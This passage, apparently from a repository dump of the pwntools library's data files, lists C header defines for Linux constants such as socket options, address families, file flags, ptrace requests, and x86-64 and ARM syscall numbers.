S_IFBLK 0x6000\n#define S_IFDIR 0x4000\n#define S_IFCHR 0x2000\n#define S_IFIFO 0x1000\n#define S_ISUID 0x800\n#define S_ISGID 0x400\n#define S_ISVTX 0x200\n#define S_IRWXU 0x1c0\n#define S_IRUSR 0x100\n#define S_IWUSR 0x80\n#define S_IXUSR 0x40\n#define S_IRWXG 0x38\n#define S_IRGRP 0x20\n#define S_IWGRP 0x10\n#define S_IXGRP 0x8\n#define S_IRWXO 0x7\n#define S_IROTH 0x4\n#define S_IWOTH 0x2\n#define S_IXOTH 0x1\n#define S_IREAD 0x100\n#define S_IWRITE 0x80\n#define S_IEXEC 0x40\n#define _SYS_UIO 1\n#define SOL_SOCKET 1\n#define SO_DEBUG 1\n#define SO_REUSEADDR 2\n#define SO_TYPE 3\n#define SO_ERROR 4\n#define SO_DONTROUTE 5\n#define SO_BROADCAST 6\n#define SO_SNDBUF 7\n#define SO_RCVBUF 8\n#define SO_KEEPALIVE 9\n#define SO_OOBINLINE 10\n#define SO_NO_CHECK 11\n#define SO_PRIORITY 12\n#define SO_LINGER 13\n#define SO_BSDCOMPAT 14\n#define SO_REUSEPORT 15\n#define SO_PASSCRED 16\n#define SO_PEERCRED 17\n#define SO_RCVLOWAT 18\n#define SO_SNDLOWAT 19\n#define SO_RCVTIMEO 20\n#define SO_SNDTIMEO 21\n#define SO_SECURITY_AUTHENTICATION 22\n#define SO_SECURITY_ENCRYPTION_TRANSPORT 23\n#define SO_SECURITY_ENCRYPTION_NETWORK 24\n#define SO_BINDTODEVICE 25\n#define SO_ATTACH_FILTER 26\n#define SO_DETACH_FILTER 27\n#define SO_GET_FILTER 26\n#define SO_PEERNAME 28\n#define SO_TIMESTAMP 29\n#define SCM_TIMESTAMP 29\n#define SO_ACCEPTCONN 30\n#define SO_PEERSEC 31\n#define SO_SNDBUFFORCE 32\n#define SO_RCVBUFFORCE 33\n#define SO_PASSSEC 34\n#define SO_TIMESTAMPNS 35\n#define SCM_TIMESTAMPNS 35\n#define SO_MARK 36\n#define SO_TIMESTAMPING 37\n#define SCM_TIMESTAMPING 37\n#define SO_PROTOCOL 38\n#define SO_DOMAIN 39\n#define SO_RXQ_OVFL 40\n#define SO_WIFI_STATUS 41\n#define SCM_WIFI_STATUS 41\n#define SO_PEEK_OFF 42\n#define SO_NOFCS 43\n#define SO_LOCK_FILTER 44\n#define SO_SELECT_ERR_QUEUE 45\n#define SO_BUSY_POLL 46\n#define SO_MAX_PACING_RATE 47\n#define SO_BPF_EXTENSIONS 48\n#define SO_INCOMING_CPU 49\n#define SO_ATTACH_BPF 50\n#define SO_DETACH_BPF 27\n#define SO_ATTACH_REUSEPORT_CBPF 51\n#define SO_ATTACH_REUSEPORT_EBPF 52\n#define SO_CNX_ADVICE 53\n#define SCM_TIMESTAMPING_OPT_STATS 54\n#define SO_MEMINFO 55\n#define SO_INCOMING_NAPI_ID 56\n#define SO_COOKIE 57\n#define SCM_TIMESTAMPING_PKTINFO 58\n#define SO_PEERGROUPS 59\n#define SO_ZEROCOPY 60\n#define SOCK_STREAM 1\n#define SOCK_DGRAM 2\n#define SOCK_RAW 3\n#define SOCK_RDM 4\n#define SOCK_SEQPACKET 5\n#define SOCK_DCCP 6\n#define SOCK_PACKET 10\n#define UIO_FASTIOV 8\n#define UIO_MAXIOV 1024\n#define SCM_RIGHTS 0x01\n#define SCM_CREDENTIALS 0x02\n#define SCM_CONNECT 0x03\n#define AF_UNSPEC 0\n#define AF_UNIX 1\n#define AF_LOCAL 1\n#define AF_INET 2\n#define AF_AX25 3\n#define AF_IPX 4\n#define AF_APPLETALK 5\n#define AF_NETROM 6\n#define AF_BRIDGE 7\n#define AF_ATMPVC 8\n#define AF_X25 9\n#define AF_INET6 10\n#define AF_ROSE 11\n#define AF_DECnet 12\n#define AF_NETBEUI 13\n#define AF_SECURITY 14\n#define AF_KEY 15\n#define AF_NETLINK 16\n#define AF_ROUTE 16\n#define AF_PACKET 17\n#define AF_ASH 18\n#define AF_ECONET 19\n#define AF_ATMSVC 20\n#define AF_SNA 22\n#define AF_IRDA 23\n#define AF_PPPOX 24\n#define AF_WANPIPE 25\n#define AF_LLC 26\n#define AF_IB 27\n#define AF_MPLS 28\n#define AF_CAN 29\n#define AF_TIPC 30\n#define AF_BLUETOOTH 31\n#define AF_IUCV 32\n#define AF_RXRPC 33\n#define AF_ISDN 34\n#define AF_PHONET 35\n#define AF_IEEE802154 36\n#define AF_CAIF 37\n#define AF_ALG 38\n#define AF_NFC 39\n#define AF_VSOCK 40\n#define AF_KCM 41\n#define AF_QIPCRTR 42\n#define AF_SMC 43\n#define AF_MAX 44\n#define PF_UNSPEC 0\n#define PF_UNIX 1\n#define PF_LOCAL 1\n#define PF_INET 2\n#define PF_AX25 3\n#define PF_IPX 4\n#define PF_APPLETALK 5\n#define PF_NETROM 6\n#define PF_BRIDGE 7\n#define PF_ATMPVC 8\n#define PF_X25 9\n#define PF_INET6 10\n#define PF_ROSE 11\n#define PF_DECnet 12\n#define PF_NETBEUI 13\n#define PF_SECURITY 14\n#define PF_KEY 15\n#define PF_NETLINK 16\n#define PF_ROUTE 16\n#define PF_PACKET 17\n#define PF_ASH 18\n#define PF_ECONET 19\n#define PF_ATMSVC 20\n#define PF_SNA 22\n#define PF_IRDA 23\n#define PF_PPPOX 24\n#define PF_WANPIPE 25\n#define PF_LLC 26\n#define PF_IB 27\n#define PF_MPLS 28\n#define PF_CAN 29\n#define PF_TIPC 30\n#define PF_BLUETOOTH 31\n#define PF_IUCV 32\n#define PF_RXRPC 33\n#define PF_ISDN 34\n#define PF_PHONET 35\n#define PF_IEEE802154 36\n#define PF_CAIF 37\n#define PF_ALG 38\n#define PF_NFC 39\n#define PF_VSOCK 40\n#define PF_KCM 41\n#define PF_QIPCRTR 42\n#define PF_SMC 43\n#define PF_MAX 44\n#define SOMAXCONN 128\n#define MSG_OOB 1\n#define MSG_PEEK 2\n#define MSG_DONTROUTE 4\n#define MSG_TRYHARD 4\n#define MSG_CTRUNC 8\n#define MSG_PROBE 0x10\n#define MSG_TRUNC 0x20\n#define MSG_DONTWAIT 0x40\n#define MSG_EOR 0x80\n#define MSG_WAITALL 0x100\n#define MSG_FIN 0x200\n#define MSG_SYN 0x400\n#define MSG_CONFIRM 0x800\n#define MSG_RST 0x1000\n#define MSG_ERRQUEUE 0x2000\n#define MSG_NOSIGNAL 0x4000\n#define MSG_MORE 0x8000\n#define MSG_WAITFORONE 0x10000\n#define MSG_SENDPAGE_NOTLAST 0x20000\n#define MSG_BATCH 0x40000\n#define MSG_EOF 0x200\n#define MSG_ZEROCOPY 0x4000000\n#define MSG_FASTOPEN 0x20000000\n#define MSG_CMSG_CLOEXEC 0x40000000\n#define SOL_IP 0\n#define SOL_TCP 6\n#define SOL_UDP 17\n#define SOL_IPV6 41\n#define SOL_ICMPV6 58\n#define SOL_SCTP 132\n#define SOL_UDPLITE 136\n#define SOL_RAW 255\n#define SOL_IPX 256\n#define SOL_AX25 257\n#define SOL_ATALK 258\n#define SOL_NETROM 259\n#define SOL_ROSE 260\n#define SOL_DECNET 261\n#define SOL_X25 262\n#define SOL_PACKET 263\n#define SOL_ATM 264\n#define SOL_AAL 265\n#define SOL_IRDA 266\n#define SOL_NETBEUI 267\n#define SOL_LLC 268\n#define SOL_DCCP 269\n#define SOL_NETLINK 270\n#define SOL_TIPC 271\n#define SOL_RXRPC 272\n#define SOL_PPPOL2TP 273\n#define SOL_BLUETOOTH 274\n#define SOL_PNPIPE 275\n#define SOL_RDS 276\n#define SOL_IUCV 277\n#define SOL_CAIF 278\n#define SOL_ALG 279\n#define SOL_NFC 280\n#define SOL_KCM 281\n#define SOL_TLS 282\n#define IPX_TYPE 1\n#define SHUT_RD 0\n#define SHUT_WR 1\n#define SHUT_RDWR 2\n#define NI_NOFQDN 1\n#define NI_NUMERICHOST 2\n#define NI_NAMEREQD 4\n#define NI_NUMERICSERV 8\n#define NI_DGRAM 16\n#define EAI_FAMILY -1\n#define EAI_SOCKTYPE -2\n#define EAI_BADFLAGS -3\n#define EAI_NONAME -4\n#define EAI_SERVICE -5\n#define EAI_ADDRFAMILY -6\n#define EAI_NODATA -7\n#define EAI_MEMORY -8\n#define EAI_FAIL -9\n#define EAI_AGAIN -10\n#define EAI_SYSTEM -11\n#define AI_NUMERICHOST 1\n#define AI_CANONNAME 2\n#define AI_PASSIVE 4\n#define AI_NUMERICSERV 8\n#define AI_ADDRCONFIG 16\n#define AI_V4MAPPED 32\n#define AI_ALL 64\n#define SIOCADDRT 0x890B\n#define SIOCDELRT 0x890C\n#define SIOCRTMSG 0x890D\n#define SIOCGIFNAME 0x8910\n#define SIOCSIFLINK 0x8911\n#define SIOCGIFCONF 0x8912\n#define SIOCGIFFLAGS 0x8913\n#define SIOCSIFFLAGS 0x8914\n#define SIOCGIFADDR 0x8915\n#define SIOCSIFADDR 0x8916\n#define SIOCGIFDSTADDR 0x8917\n#define SIOCSIFDSTADDR 0x8918\n#define SIOCGIFBRDADDR 0x8919\n#define SIOCSIFBRDADDR 0x891a\n#define SIOCGIFNETMASK 0x891b\n#define SIOCSIFNETMASK 0x891c\n#define SIOCGIFMETRIC 0x891d\n#define SIOCSIFMETRIC 0x891e\n#define SIOCGIFMEM 0x891f\n#define SIOCSIFMEM 0x8920\n#define SIOCGIFMTU 0x8921\n#define SIOCSIFMTU 0x8922\n#define SIOCSIFNAME 0x8923\n#define SIOCSIFHWADDR 0x8924\n#define SIOCGIFENCAP 0x8925\n#define SIOCSIFENCAP 0x8926\n#define SIOCGIFHWADDR 0x8927\n#define SIOCGIFSLAVE 0x8929\n#define SIOCSIFSLAVE 0x8930\n#define SIOCADDMULTI 0x8931\n#define SIOCDELMULTI 0x8932\n#define SIOCGIFINDEX 0x8933\n#define SIOGIFINDEX 0x8933\n#define SIOCSIFPFLAGS 0x8934\n#define SIOCGIFPFLAGS 0x8935\n#define SIOCDIFADDR 0x8936\n#define SIOCSIFHWBROADCAST 0x8937\n#define SIOCGIFCOUNT 0x8938\n#define SIOCGIFBR 0x8940\n#define SIOCSIFBR 0x8941\n#define SIOCGIFTXQLEN 0x8942\n#define SIOCSIFTXQLEN 0x8943\n#define SIOCGIFDIVERT 0x8944\n#define SIOCSIFDIVERT 0x8945\n#define SIOCETHTOOL 0x8946\n#define SIOCDARP 0x8953\n#define SIOCGARP 0x8954\n#define SIOCSARP 0x8955\n#define SIOCDRARP 0x8960\n#define SIOCGRARP 0x8961\n#define SIOCSRARP 0x8962\n#define SIOCGIFMAP 0x8970\n#define SIOCSIFMAP 0x8971\n#define SIOCADDDLCI 0x8980\n#define SIOCDELDLCI 0x8981\n#define SIOCDEVPRIVATE 0x89F0\n#define F_LINUX_SPECIFIC_BASE 1024\n#define O_ACCMODE 0x3\n#define O_RDONLY 0x0\n#define O_WRONLY 0x1\n#define O_RDWR 0x2\n#define O_CREAT 0x40\n#define O_EXCL 0x80\n#define O_NOCTTY 0x100\n#define O_TRUNC 0x200\n#define O_APPEND 0x400\n#define O_NONBLOCK 0x800\n#define O_NDELAY 0x800\n#define O_DSYNC 0x1000\n#define FASYNC 0x2000\n#define O_DIRECT 0x4000\n#define O_LARGEFILE 0x8000\n#define O_DIRECTORY 0x10000\n#define O_NOFOLLOW 0x20000\n#define O_NOATIME 0x40000\n#define O_CLOEXEC 0x80000\n#define O_SYNC 0x101000\n#define O_PATH 0x200000\n#define __O_TMPFILE 0x400000\n#define F_DUPFD 0\n#define F_GETFD 1\n#define F_SETFD 2\n#define F_GETFL 3\n#define F_SETFL 4\n#define F_GETLK 5\n#define F_SETLK 6\n#define F_SETLKW 7\n#define F_SETOWN 8\n#define F_GETOWN 9\n#define F_SETSIG 10\n#define F_GETSIG 11\n#define F_GETLK64 12\n#define F_SETLK64 13\n#define F_SETLKW64 14\n#define FD_CLOEXEC 1\n#define F_RDLCK 0\n#define F_WRLCK 1\n#define F_UNLCK 2\n#define F_EXLCK 4\n#define F_SHLCK 8\n#define F_INPROGRESS 16\n#define LOCK_SH 1\n#define LOCK_EX 2\n#define LOCK_NB 4\n#define LOCK_UN 8\n#define LOCK_MAND 32\n#define LOCK_READ 64\n#define LOCK_WRITE 128\n#define LOCK_RW 192\n#define O_TMPFILE 0x410000\n#define O_ASYNC 0x2000\n#define F_SETOWN_EX 15\n#define F_GETOWN_EX 16\n#define F_GETOWNER_UIDS 17\n#define F_OFD_GETLK 36\n#define F_OFD_SETLK 37\n#define F_OFD_SETLKW 38\n#define F_OWNER_TID 0\n#define F_OWNER_PID 1\n#define F_OWNER_PGRP 2\n#define AT_FDCWD -100\n#define AT_SYMLINK_NOFOLLOW 0x100\n#define AT_REMOVEDIR 0x200\n#define AT_SYMLINK_FOLLOW 0x400\n#define AT_NO_AUTOMOUNT 0x800\n#define AT_EMPTY_PATH 0x1000\n#define AT_EACCESS 0x200\n#define MREMAP_MAYMOVE 1\n#define MREMAP_FIXED 2\n#define PROT_READ 0x1\n#define PROT_WRITE 0x2\n#define PROT_EXEC 0x4\n#define PROT_SEM 0x8\n#define PROT_NONE 0x0\n#define PROT_GROWSDOWN 0x01000000\n#define PROT_GROWSUP 0x02000000\n#define MAP_SHARED 0x01\n#define MAP_PRIVATE 0x02\n#define MAP_TYPE 0xf\n#define MADV_REMOVE 9\n#define MADV_DONTFORK 10\n#define MADV_DOFORK 11\n#define MADV_MERGEABLE 12\n#define MADV_UNMERGEABLE 13\n#define MADV_HUGEPAGE 14\n#define MADV_NOHUGEPAGE 15\n#define MADV_DONTDUMP 16\n#define MADV_DODUMP 17\n#define MADV_HWPOISON 100\n#define MADV_SOFT_OFFLINE 101\n#define MLOCK_ONFAULT 1\n#define MAP_FIXED 0x10\n#define MAP_ANONYMOUS 0x20\n#define MAP_GROWSDOWN 0x0100\n#define MAP_DENYWRITE 0x0800\n#define MAP_EXECUTABLE 0x1000\n#define MAP_LOCKED 0x2000\n#define MAP_NORESERVE 0x4000\n#define MAP_POPULATE 0x8000\n#define MAP_NONBLOCK 0x10000\n#define MAP_STACK 0x20000\n#define MAP_HUGETLB 0x40000\n#define MS_ASYNC 1\n#define MS_INVALIDATE 2\n#define MS_SYNC 4\n#define MCL_CURRENT 1\n#define MCL_FUTURE 2\n#define MCL_ONFAULT 4\n#define MADV_NORMAL 0x0\n#define MADV_RANDOM 0x1\n#define MADV_SEQUENTIAL 0x2\n#define MADV_WILLNEED 0x3\n#define MADV_DONTNEED 0x4\n#define MAP_ANON 0x20\n#define MAP_FILE 0\n#define POSIX_MADV_NORMAL 0x0\n#define POSIX_MADV_SEQUENTIAL 0x2\n#define POSIX_MADV_RANDOM 0x1\n#define POSIX_MADV_WILLNEED 0x3\n#define POSIX_MADV_DONTNEED 0x4\n#define PTRACE_TRACEME 0\n#define PTRACE_PEEKTEXT 1\n#define PTRACE_PEEKDATA 2\n#define PTRACE_PEEKUSR 3\n#define PTRACE_PEEKUSER 3\n#define PTRACE_POKETEXT 4\n#define PTRACE_POKEDATA 5\n#define PTRACE_POKEUSR 6\n#define PTRACE_POKEUSER 6\n#define PTRACE_CONT 7\n#define PTRACE_KILL 8\n#define PTRACE_SINGLESTEP 9\n#define PTRACE_ATTACH 0x10\n#define PTRACE_DETACH 0x11\n#define PTRACE_SYSCALL 24\n#define PTRACE_GETEVENTMSG 0x4201\n#define PTRACE_GETSIGINFO 0x4202\n#define PTRACE_SETSIGINFO 0x4203\n#define PTRACE_O_TRACESYSGOOD 0x00000001\n#define PTRACE_O_TRACEFORK 0x00000002\n#define PTRACE_O_TRACEVFORK 0x00000004\n#define PTRACE_O_TRACECLONE 0x00000008\n#define PTRACE_O_TRACEEXEC 0x00000010\n#define PTRACE_O_TRACEVFORKDONE 0x00000020\n#define PTRACE_O_TRACEEXIT 0x00000040\n#define PTRACE_O_MASK 0x0000007f\n#define PTRACE_EVENT_FORK 1\n#define PTRACE_EVENT_VFORK 2\n#define PTRACE_EVENT_CLONE 3\n#define PTRACE_EVENT_EXEC 4\n#define PTRACE_EVENT_VFORK_DONE 5\n#define PTRACE_EVENT_EXIT 6\n#define PT_TRACE_ME 0\n#define PT_READ_I 1\n#define PT_READ_D 2\n#define PT_READ_U 3\n#define PT_WRITE_I 4\n#define PT_WRITE_D 5\n#define PT_WRITE_U 6\n#define PT_CONTINUE 7\n#define PT_KILL 8\n#define PT_STEP 9\n#define PT_ATTACH 0x10\n#define PT_DETACH 0x11\n#define SYS_accept 43\n#define SYS_accept4 288\n#define SYS_access 21\n#define SYS_acct 163\n#define SYS_add_key 248\n#define SYS_adjtimex 159\n#define SYS_afs_syscall 183\n#define SYS_alarm 37\n#define SYS_arch_prctl 158\n#define SYS_bind 49\n#define SYS_bpf 321\n#define SYS_brk 12\n#define SYS_capget 125\n#define SYS_capset 126\n#define SYS_chdir 80\n#define SYS_chmod 90\n#define SYS_chown 92\n#define SYS_chroot 161\n#define SYS_clock_adjtime 305\n#define SYS_clock_getres 229\n#define SYS_clock_gettime 228\n#define SYS_clock_nanosleep 230\n#define SYS_clock_settime 227\n#define SYS_clone 56\n#define SYS_clone3 435\n#define SYS_close 3\n#define SYS_connect 42\n#define SYS_copy_file_range 326\n#define SYS_creat 85\n#define SYS_create_module 174\n#define SYS_delete_module 176\n#define SYS_dup 32\n#define SYS_dup2 33\n#define SYS_dup3 292\n#define SYS_epoll_create 213\n#define SYS_epoll_create1 291\n#define SYS_epoll_ctl 233\n#define SYS_epoll_ctl_old 214\n#define SYS_epoll_pwait 281\n#define SYS_epoll_wait 232\n#define SYS_epoll_wait_old 215\n#define SYS_eventfd 284\n#define SYS_eventfd2 290\n#define SYS_execve 59\n#define SYS_execveat 322\n#define SYS_exit 60\n#define SYS_exit_group 231\n#define SYS_faccessat 269\n#define SYS_fadvise64 221\n#define SYS_fallocate 285\n#define SYS_fanotify_init 300\n#define SYS_fanotify_mark 301\n#define SYS_fchdir 81\n#define SYS_fchmod 91\n#define SYS_fchmodat 268\n#define SYS_fchown 93\n#define SYS_fchownat 260\n#define SYS_fcntl 72\n#define SYS_fdatasync 75\n#define SYS_fgetxattr 193\n#define SYS_finit_module 313\n#define SYS_flistxattr 196\n#define SYS_flock 73\n#define SYS_fork 57\n#define SYS_fremovexattr 199\n#define SYS_fsconfig 431\n#define SYS_fsetxattr 190\n#define SYS_fsmount 432\n#define SYS_fsopen 430\n#define SYS_fspick 433\n#define SYS_fstat 5\n#define SYS_fstatfs 138\n#define SYS_fsync 74\n#define SYS_ftruncate 77\n#define SYS_futex 202\n#define SYS_futimesat 261\n#define SYS_getcpu 309\n#define SYS_getcwd 79\n#define SYS_getdents 78\n#define SYS_getdents64 217\n#define SYS_getegid 108\n#define SYS_geteuid 107\n#define SYS_getgid 104\n#define SYS_getgroups 115\n#define SYS_getitimer 36\n#define SYS_get_kernel_syms 177\n#define SYS_get_mempolicy 239\n#define SYS_getpeername 52\n#define SYS_getpgid 121\n#define SYS_getpgrp 111\n#define SYS_getpid 39\n#define SYS_getpmsg 181\n#define SYS_getppid 110\n#define SYS_getpriority 140\n#define SYS_getrandom 318\n#define SYS_getresgid 120\n#define SYS_getresuid 118\n#define SYS_getrlimit 97\n#define SYS_get_robust_list 274\n#define SYS_getrusage 98\n#define SYS_getsid 124\n#define SYS_getsockname 51\n#define SYS_getsockopt 55\n#define SYS_get_thread_area 211\n#define SYS_gettid 186\n#define SYS_gettimeofday 96\n#define SYS_getuid 102\n#define SYS_getxattr 191\n#define SYS_init_module 175\n#define SYS_inotify_add_watch 254\n#define SYS_inotify_init 253\n#define SYS_inotify_init1 294\n#define SYS_inotify_rm_watch 255\n#define SYS_io_cancel 210\n#define SYS_ioctl 16\n#define SYS_io_destroy 207\n#define SYS_io_getevents 208\n#define SYS_ioperm 173\n#define SYS_io_pgetevents 333\n#define SYS_iopl 172\n#define SYS_ioprio_get 252\n#define SYS_ioprio_set 251\n#define SYS_io_setup 206\n#define SYS_io_submit 209\n#define SYS_io_uring_enter 426\n#define SYS_io_uring_register 427\n#define SYS_io_uring_setup 425\n#define SYS_kcmp 312\n#define SYS_kexec_file_load 320\n#define SYS_kexec_load 246\n#define SYS_keyctl 250\n#define SYS_kill 62\n#define SYS_lchown 94\n#define SYS_lgetxattr 192\n#define SYS_link 86\n#define SYS_linkat 265\n#define SYS_listen 50\n#define SYS_listxattr 194\n#define SYS_llistxattr 195\n#define SYS_lookup_dcookie 212\n#define SYS_lremovexattr 198\n#define SYS_lseek 8\n#define SYS_lsetxattr 189\n#define SYS_lstat 6\n#define SYS_madvise 28\n#define SYS_mbind 237\n#define SYS_membarrier 324\n#define SYS_memfd_create 319\n#define SYS_migrate_pages 256\n#define SYS_mincore 27\n#define SYS_mkdir 83\n#define SYS_mkdirat 258\n#define SYS_mknod 133\n#define SYS_mknodat 259\n#define SYS_mlock 149\n#define SYS_mlock2 325\n#define SYS_mlockall 151\n#define SYS_mmap 9\n#define SYS_modify_ldt 154\n#define SYS_mount 165\n#define SYS_move_mount 429\n#define SYS_move_pages 279\n#define SYS_mprotect 10\n#define SYS_mq_getsetattr 245\n#define SYS_mq_notify 244\n#define SYS_mq_open 240\n#define SYS_mq_timedreceive 243\n#define SYS_mq_timedsend 242\n#define SYS_mq_unlink 241\n#define SYS_mremap 25\n#define SYS_msgctl 71\n#define SYS_msgget 68\n#define SYS_msgrcv 70\n#define SYS_msgsnd 69\n#define SYS_msync 26\n#define SYS_munlock 150\n#define SYS_munlockall 152\n#define SYS_munmap 11\n#define SYS_name_to_handle_at 303\n#define SYS_nanosleep 35\n#define SYS_newfstatat 262\n#define SYS_nfsservctl 180\n#define SYS_open 2\n#define SYS_openat 257\n#define SYS_openat2 437\n#define SYS_open_by_handle_at 304\n#define SYS_open_tree 428\n#define SYS_pause 34\n#define SYS_perf_event_open 298\n#define SYS_personality 135\n#define SYS_pidfd_getfd 438\n#define SYS_pidfd_open 434\n#define SYS_pidfd_send_signal 424\n#define SYS_pipe 22\n#define SYS_pipe2 293\n#define SYS_pivot_root 155\n#define SYS_pkey_alloc 330\n#define SYS_pkey_free 331\n#define SYS_pkey_mprotect 329\n#define SYS_poll 7\n#define SYS_ppoll 271\n#define SYS_prctl 157\n#define SYS_pread 17\n#define SYS_preadv 295\n#define SYS_preadv2 327\n#define SYS_prlimit64 302\n#define SYS_process_vm_readv 310\n#define SYS_process_vm_writev 311\n#define SYS_pselect6 270\n#define SYS_ptrace 101\n#define SYS_putpmsg 182\n#define SYS_pwrite 18\n#define SYS_pwritev 296\n#define SYS_pwritev2 328\n#define SYS_query_module 178\n#define SYS_quotactl 179\n#define SYS_read 0\n#define SYS_readahead 187\n#define SYS_readlink 89\n#define SYS_readlinkat 267\n#define SYS_readv 19\n#define SYS_reboot 169\n#define SYS_recvfrom 45\n#define SYS_recvmmsg 299\n#define SYS_recvmsg 47\n#define SYS_remap_file_pages 216\n#define SYS_removexattr 197\n#define SYS_rename 82\n#define SYS_renameat 264\n#define SYS_renameat2 316\n#define SYS_request_key 249\n#define SYS_restart_syscall 219\n#define SYS_rmdir 84\n#define SYS_rseq 334\n#define SYS_rt_sigaction 13\n#define SYS_rt_sigpending 127\n#define SYS_rt_sigprocmask 14\n#define SYS_rt_sigqueueinfo 129\n#define SYS_rt_sigreturn 15\n#define SYS_rt_sigsuspend 130\n#define SYS_rt_sigtimedwait 128\n#define SYS_rt_tgsigqueueinfo 297\n#define SYS_sched_getaffinity 204\n#define SYS_sched_getattr 315\n#define SYS_sched_getparam 143\n#define SYS_sched_get_priority_max 146\n#define SYS_sched_get_priority_min 147\n#define SYS_sched_getscheduler 145\n#define SYS_sched_rr_get_interval 148\n#define SYS_sched_setaffinity 203\n#define SYS_sched_setattr 314\n#define SYS_sched_setparam 142\n#define SYS_sched_setscheduler 144\n#define SYS_sched_yield 24\n#define SYS_seccomp 317\n#define SYS_security 185\n#define SYS_select 23\n#define SYS_semctl 66\n#define SYS_semget 64\n#define SYS_semop 65\n#define SYS_semtimedop 220\n#define SYS_sendfile 40\n#define SYS_sendmmsg 307\n#define SYS_sendmsg 46\n#define SYS_sendto 44\n#define SYS_setdomainname 171\n#define SYS_setfsgid 123\n#define SYS_setfsuid 122\n#define SYS_setgid 106\n#define SYS_setgroups 116\n#define SYS_sethostname 170\n#define SYS_setitimer 38\n#define SYS_set_mempolicy 238\n#define SYS_setns 308\n#define SYS_setpgid 109\n#define SYS_setpriority 141\n#define SYS_setregid 114\n#define SYS_setresgid 119\n#define SYS_setresuid 117\n#define SYS_setreuid 113\n#define SYS_setrlimit 160\n#define SYS_set_robust_list 273\n#define SYS_setsid 112\n#define SYS_setsockopt 54\n#define SYS_set_thread_area 205\n#define SYS_set_tid_address 218\n#define SYS_settimeofday 164\n#define SYS_setuid 105\n#define SYS_setxattr 188\n#define SYS_shmat 30\n#define SYS_shmctl 31\n#define SYS_shmdt 67\n#define SYS_shmget 29\n#define SYS_shutdown 48\n#define SYS_sigaltstack 131\n#define SYS_signalfd 282\n#define SYS_signalfd4 289\n#define SYS_socket 41\n#define SYS_socketpair 53\n#define SYS_splice 275\n#define SYS_stat 4\n#define SYS_statfs 137\n#define SYS_statx 332\n#define SYS_swapoff 168\n#define SYS_swapon 167\n#define SYS_symlink 88\n#define SYS_symlinkat 266\n#define SYS_sync 162\n#define SYS_sync_file_range 277\n#define SYS_syncfs 306\n#define SYS__sysctl 156\n#define SYS_sysfs 139\n#define SYS_sysinfo 99\n#define SYS_syslog 103\n#define SYS_tee 276\n#define SYS_tgkill 234\n#define SYS_time 201\n#define SYS_timer_create 222\n#define SYS_timer_delete 226\n#define SYS_timerfd 283\n#define SYS_timerfd_gettime 287\n#define SYS_timerfd_settime 286\n#define SYS_timer_getoverrun 225\n#define SYS_timer_gettime 224\n#define SYS_timer_settime 223\n#define SYS_times 100\n#define SYS_tkill 200\n#define SYS_truncate 76\n#define SYS_tuxcall 184\n#define SYS_umask 95\n#define SYS_umount2 166\n#define SYS_uname 63\n#define SYS_unlink 87\n#define SYS_unlinkat 263\n#define SYS_unshare 272\n#define SYS_uselib 134\n#define SYS_userfaultfd 323\n#define SYS_ustat 136\n#define SYS_utime 132\n#define SYS_utimensat 280\n#define SYS_utimes 235\n#define SYS_vfork 58\n#define SYS_vhangup 153\n#define SYS_vmsplice 278\n#define SYS_vserver 236\n#define SYS_wait4 61\n#define SYS_waitid 247\n#define SYS_write 1\n#define SYS_writev 20\n"
  },
  {
    "path": "pwnlib/data/includes/linux/arm.h",
    "content": "#define __ARM_EABI__ 1\n#define __KERNEL__ 1\n#define _ARM_SYSCALL_H 1\n#define __NR_OABI_SYSCALL_BASE 0x900000\n#define __NR_SYSCALL_BASE 0\n#define __NR_restart_syscall (0+  0)\n#define __NR_exit (0+  1)\n#define __NR_fork (0+  2)\n#define __NR_read (0+  3)\n#define __NR_write (0+  4)\n#define __NR_open (0+  5)\n#define __NR_close (0+  6)\n#define __NR_creat (0+  8)\n#define __NR_link (0+  9)\n#define __NR_unlink (0+ 10)\n#define __NR_execve (0+ 11)\n#define __NR_chdir (0+ 12)\n#define __NR_time (0+ 13)\n#define __NR_mknod (0+ 14)\n#define __NR_chmod (0+ 15)\n#define __NR_lchown (0+ 16)\n#define __NR_lseek (0+ 19)\n#define __NR_getpid (0+ 20)\n#define __NR_mount (0+ 21)\n#define __NR_umount (0+ 22)\n#define __NR_setuid (0+ 23)\n#define __NR_getuid (0+ 24)\n#define __NR_stime (0+ 25)\n#define __NR_ptrace (0+ 26)\n#define __NR_alarm (0+ 27)\n#define __NR_pause (0+ 29)\n#define __NR_utime (0+ 30)\n#define __NR_access (0+ 33)\n#define __NR_nice (0+ 34)\n#define __NR_sync (0+ 36)\n#define __NR_kill (0+ 37)\n#define __NR_rename (0+ 38)\n#define __NR_mkdir (0+ 39)\n#define __NR_rmdir (0+ 40)\n#define __NR_dup (0+ 41)\n#define __NR_pipe (0+ 42)\n#define __NR_times (0+ 43)\n#define __NR_brk (0+ 45)\n#define __NR_setgid (0+ 46)\n#define __NR_getgid (0+ 47)\n#define __NR_geteuid (0+ 49)\n#define __NR_getegid (0+ 50)\n#define __NR_acct (0+ 51)\n#define __NR_umount2 (0+ 52)\n#define __NR_ioctl (0+ 54)\n#define __NR_fcntl (0+ 55)\n#define __NR_setpgid (0+ 57)\n#define __NR_umask (0+ 60)\n#define __NR_chroot (0+ 61)\n#define __NR_ustat (0+ 62)\n#define __NR_dup2 (0+ 63)\n#define __NR_getppid (0+ 64)\n#define __NR_getpgrp (0+ 65)\n#define __NR_setsid (0+ 66)\n#define __NR_sigaction (0+ 67)\n#define __NR_setreuid (0+ 70)\n#define __NR_setregid (0+ 71)\n#define __NR_sigsuspend (0+ 72)\n#define __NR_sigpending (0+ 73)\n#define __NR_sethostname (0+ 74)\n#define __NR_setrlimit (0+ 75)\n#define __NR_getrlimit (0+ 76)\n#define __NR_getrusage (0+ 77)\n#define __NR_gettimeofday (0+ 78)\n#define __NR_settimeofday (0+ 79)\n#define __NR_getgroups (0+ 80)\n#define __NR_setgroups (0+ 81)\n#define __NR_select (0+ 82)\n#define __NR_symlink (0+ 83)\n#define __NR_readlink (0+ 85)\n#define __NR_uselib (0+ 86)\n#define __NR_swapon (0+ 87)\n#define __NR_reboot (0+ 88)\n#define __NR_readdir (0+ 89)\n#define __NR_mmap (0+ 90)\n#define __NR_munmap (0+ 91)\n#define __NR_truncate (0+ 92)\n#define __NR_ftruncate (0+ 93)\n#define __NR_fchmod (0+ 94)\n#define __NR_fchown (0+ 95)\n#define __NR_getpriority (0+ 96)\n#define __NR_setpriority (0+ 97)\n#define __NR_statfs (0+ 99)\n#define __NR_fstatfs (0+100)\n#define __NR_socketcall (0+102)\n#define __NR_syslog (0+103)\n#define __NR_setitimer 